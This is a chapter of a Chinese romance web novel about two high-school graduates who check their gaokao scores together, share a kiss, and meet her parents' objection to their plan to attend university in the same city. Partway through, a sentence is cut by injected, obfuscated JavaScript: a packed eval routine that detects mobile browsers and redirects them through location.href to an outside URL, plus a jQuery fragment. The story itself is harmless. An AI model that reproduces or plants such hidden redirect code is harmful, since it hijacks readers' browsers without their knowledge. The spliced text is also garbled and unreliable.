出高考成绩当天,黎东树和乔英特地请了假。
那时查分数是在电脑上,黎池拿着身份证去了网吧,可惜去得晚,附近几家网吧都满人。
黎东树安慰:“要不晚点,咱吃了晚饭再查。”
也只能这样了,黎池挂断电话准备坐公交回去,手机就有新的消息进来。
席晏辞:在哪?
几天没联系,看到他发来的消息还是会心乱。
她把定位发过去,站在路边等着。
十几分钟后,眼眸中落下一个身影,挡去她一半的风。
她抬眸,少年穿着黑色短袖深色牛仔裤,黑发被风吹得有些乱,脸上带着冷意,可看见她的那双眼睛还是深情。
“我不联系你你就打算这样了?”他问。
鼻子有点酸,她委屈道:“网吧里全是人,我在路边等了你好久,脚都麻了。”
就这么一下,他心就软了,把人抱进怀里,说自己来晚了。
-
坐在电脑桌前,黎池输进自己的准考证号,握住鼠标没继续接下的动作。
席晏辞从她背后双手撑在椅子上,头挨着她的肩膀,“紧张?”
黎池点头,怕比估得分低,达不到去年的分数线。
“你可以的,没问题。”他安慰。
黎池抿了下唇,微微点头。
重新握上鼠标,她感到自己的手都在颤抖,还是不敢点击右键。
陡然,一张宽大温暖的手掌覆在她手背。
她扭头看他。
“不管什么结果,我和你一起承担。”
那个午后刮起风来,灰色窗帘扬起,窗外树叶唰唰响起,伴随着鼠标右键响起的声音,奏成一首钢琴曲,传入耳里。
黎池欲要去看,席晏辞却单手禁锢着下巴,俯身吻了过来。
那天的吻很缠绵,很温柔,明显跟第一次的生涩不一样。
难舍难分时,他低声说,不联系的这几天都没睡好;她搂着脖子,扭着腰轻吻他的眼睛,说对不起。
回应她的,还是吻。
不知几分钟,风停了,吻也停了。
席晏辞转过椅子面向自己,低身抱起她来自己坐下,把人放在自己腿上。
黎池惊呼,多年后还是惊叹于他的臂力。
查分页面早就显示出来,席晏辞在亲她的时候余光瞟到,勾了下唇。
黎池紧抱着他的脖子别过头,不敢去看,“你告诉我上五百没有?”
脖子被她勒得紧,他逗人的心思起来,故作失落地摇头。
悬着的心终于死了,她紧抱的手缓缓松下来,眼泪就差掉下来了。
他笑了下,凑到她耳边说了一串数字。
她眼睛瞪大看着他,失落瞬间扫去,扭头去看电脑。
总分:561
超去年一本分数线50分,超目标院校目标专业20分。
黎池按捺不住兴奋摇着他的人,脖子差点没给他拧断。
席晏辞笑着在她腰上轻拧一下,道:“你谋杀亲夫啊!”
黎池被他掐得直笑,也不管什么谋杀不谋杀,捧着他脸轻啄一下,认真道:“谢谢你。”
席晏辞回亲着她,轻声说:“宝宝,好喜欢你,分不开怎么办?”
黎池还沉浸在比预估高的分数里。
黎池在阳台上跟家里打电话说成绩,席晏辞输准考证查自己的。
页面跳转,他目光看到总分那一栏:661分。
查完走过去,手不安分地徘徊在她腰间,黎池被他弄得痒,眼神警告了下,他也不管,乐呵呵地笑起来。
乔英在电话里听见声音,和黎东树对视一眼,又问她什么时候回来吃晚饭。
黎池和他拉开点距离,警告他别跟过来,说:“知道了妈妈,我马上就回来了。”
女孩说叠字时声音软糯,弄得人心痒。席晏辞勾唇,舌头□□了下腮,从身后圈住她腰,头埋在她颈窝:“你要走啊。”
男生说话时喷洒出的热气从脖子钻进衣服,弄得她不太舒服,她推了推他,“我爸爸妈妈叫我回家吃饭,我得回去了。”
“哦,利用完我就走。”
这话说得她像个渣女,她噗呲一下笑出声,转身问他分数查出开了吗。
席晏辞点头。
“多少分?”
“661。”
661,比她整整高了一百分,去年北城大学录取分数线是630,超出北城大学录取线31分,也就是说,他们能一起去北城上学了!
黎池背着手,歪头,样子可爱乖巧,“恭喜你啊,席同学,得偿所愿!”
席晏辞勾了下唇,笑着说:“应该说是我们得偿所愿。”
回到家里,黎池看见门口摆着的两双男士鞋和一双女士鞋,刚要开口问家里是不是来了客人,就看见男生从卫生间里出来,和她撞了个正着。
“回来了。”乔英在厨房里听见声音。
黎池一边应着一边换鞋,男生已经走去客厅。
换完鞋,她直走进厨房,问刚才那人是谁。
乔英炒着菜说:“你爸爸同事的儿子,也是今年高考,遇上了就叫来一起吃饭。”
从厨房里看过去,才发现客厅里除了爸爸、那男生,还有他的爸爸妈妈。
黎池撇了撇嘴,好端端的家庭庆功宴变成请客了。
乔英听她不说话,问她刚才去哪儿查的分。
莫名心虚,她捂着脖子,离开前席晏辞在他脖子上吸了个红印,也不知道明不明显。
“我去同学家里查的。”她眼睛飘闪。
乔英看在眼里,没戳穿,只叫她拿个盘子出来。
饭桌上,黎池才知道刚在门口撞见的男生叫什么名字。
费亮,深中的,学习成绩常年稳居前三,前学生会主席,人有礼貌有家教,斯斯文文那一卦的,高考650。
只可惜,黎池对他丝毫不感兴趣,唯一记住的也只是他和安栎是一个学校的。
吃完饭,听着大人们你一言我一句,都是些客套寒暄话,黎池百无聊赖地吃橘子,觉得甚是无味。
“池池准备报哪个专业哪个学校啊?”
黎池正出神地想着什么时候能结束这才无聊的聚会,根本没听见有人在同她说话。
乔英皱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242151|197788||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眉,脚踢了她一下。
“她呀,高考完心都已经飞出去了。”
黎池这才反应过来是在问她想要报什么专业哪个学校。
其实她也没认真地想过要学什么专业。高考之前只知道拼命地学习,没考虑太多;高考之后只认得分数,至于专业什么的,她表示很佛系。
人们常说三百六十行,行行出状元,她觉得只要是一个自己不太抗拒的专业,学出来之后能帮助到有需要的人就好。
“小亮呢,”乔英有来有回地问,“想要去哪个学校。”
男生放下手里的水果,又抽纸擦了擦嘴,行为举止得体,“阿姨,我学金融,准备冲一下南城大学。”
南城大学的金融专业确实不错,黎池心生佩服。
乔英脸上满是欣慰:“小亮学习好了报哪个大学都考得上……”
黎池杵着下巴听,思考起自己想学的专业。
晚上十点,送费亮一家离开,黎池正要回房间就被乔英叫回来。
“你怎么回事,人家李阿姨今天叫你几次你都没听见。”
黎池不说话,今天确实走神几次,她甘愿挨骂。
黎东树在一旁帮忙说下次记得就好了。乔英瞥他,“人都是你给惯坏的!”
“专业的事你怎么想?”
黎池唯唯诺诺坐下,刚才在手机上查了下北城华大的英语专业,如果冲一下能上,“我想学英语专业。”
乔英点头,觉得女孩子学英语专业也好,将来毕业还能做英语老师,铁饭碗。
“哪个学校想好了吗?”
“北城的华大。”
闻言,乔英变了脸色,平时最会在中间说漂亮话的黎东树也拉下脸来。
“小池,一定要去北城?其他学校的英语专业也不错的。再说你一个女孩子跑那么远,爸爸妈妈也不放心。”
“你是不是跟你那个男生朋友说好了一起去?”乔英质问。
黎池眼睛瞪大,而后抿唇点头。
“你……”乔英气得说不出话,扬起手来作势要打人,黎东树马上站起来拦住,给她使两个眼神让她赶快回房间。
黎池回房间关上门,躺在床上看着那盏灯,是不是真的有点草率了。
可当初出提出去北城,是她说的啊。
高考成绩一出,网络上各种预测消息就发布出来,那时AI填志愿没那么火,大家只能凭靠教育部发的参考书来填。
黎池抱着一大本志愿书啃了好几天,把华大近五年的录取分数线都翻了个遍,书上的笔记不亚于上学时做的数学笔记。
最后发现,也只有去年的分数线能够得上,其他年份的够呛。
席晏辞也帮着她做了一些参考,除去华大,其他院校几个院校的英语专业也不错,只是都是二本或者当此较低一点的一本。
“其实只要专业好,院校这些的不重要。”
黎池当然知道这些,可那时年纪小,功利心重,总觉得要上一个档次高一点的学校才能配得上自己的付出。
她犹豫一下,还是把想了一晚上的想法说出来:“席晏辞,要是我不能和你去北城,怎么办?”